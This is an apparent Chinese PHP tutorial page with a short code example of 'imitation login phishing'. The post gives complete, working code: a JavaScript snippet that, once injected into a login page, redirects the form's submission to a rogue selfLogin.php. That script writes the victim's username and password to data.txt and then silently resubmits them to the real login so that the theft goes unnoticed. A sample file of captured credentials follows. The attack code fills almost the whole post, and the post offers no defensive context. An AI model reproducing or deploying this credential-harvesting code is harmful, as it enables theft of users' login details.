PHP和JS实现模仿登录钓鱼的代码示例
发布:smiling 来源: PHP粉丝网 添加日期:2020-02-07 20:25:43 浏览: 评论:0
本篇文章给大家带来的内容是关于PHP和JS实现模仿登录钓鱼的代码示例,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。
目录介绍
login.php 正常登录的文件
selfLogin.php 自定义的登录文件
data.txt 记录用户输入的数据
login.php
- <?php
- echo "<pre>";
- $userInfo = $_POST ;
- if ($userInfo) {
- # code...
- var_dump($userInfo,'登录成功') ;exit();
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>登录</title>
- </head>
- <body>
- <form id="login" method="post" action="login.php">
- 用户姓名:<input type="text" name="name">
- 用户密码:<input type="password" name="pwd">
- <input type="submit" value="确认登录">
- </form>
- </body>
- <script type="text/javascript">
- //js劫持代码
- window.onload = function (eve) {
- var form = document.getElementById('login');
- form.innerHTML = ' <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> </form> ' ;
- //钓鱼地址
- form.action = "selfLogin.php" ;
- }
- </script>
- </html>
selfLogin.php
- <?php
- $name = '' ;
- $pwd = '' ;
- //var_dump('数据被截取了',$_POST) ;
- if($_POST) {
- //记录获取的数据信息
- $name = $_POST['name'] ;
- $pwd = $_POST['pwd'] ;
- file_put_contents('data.txt', json_encode($_POST,true)) ;
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title></title>
- </head>
- <body>
- </body>
- <script type="text/javascript">
- //构建之前的页面
- window.onload = function (eve) {
- var name = '<?php echo $name; ?>' ;
- var pwd = '<?php echo $pwd; ?>' ;
- if(name && pwd) {
- var p = document.createElement('p');
- document.body.appendChild(p);
- p.innerHTML =' <form id="login2" method="post" action="login.php" > '+
- ' 用户姓名:<input type="text" name="name" value="'+name+'"> 用户密码:<input type="password" name="pwd" value="'+pwd+'"> ' ;
- document.getElementById('login2').submit();
- }
- }
- </script>
- </html>
data.txt
{"name":"admin","pwd":"123456"}
Tags: PHP模仿登录钓鱼
- 上一篇:PHP如何实现字符串16进制转换2进制?
- 下一篇:PHP优先级队列的介绍(附代码)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)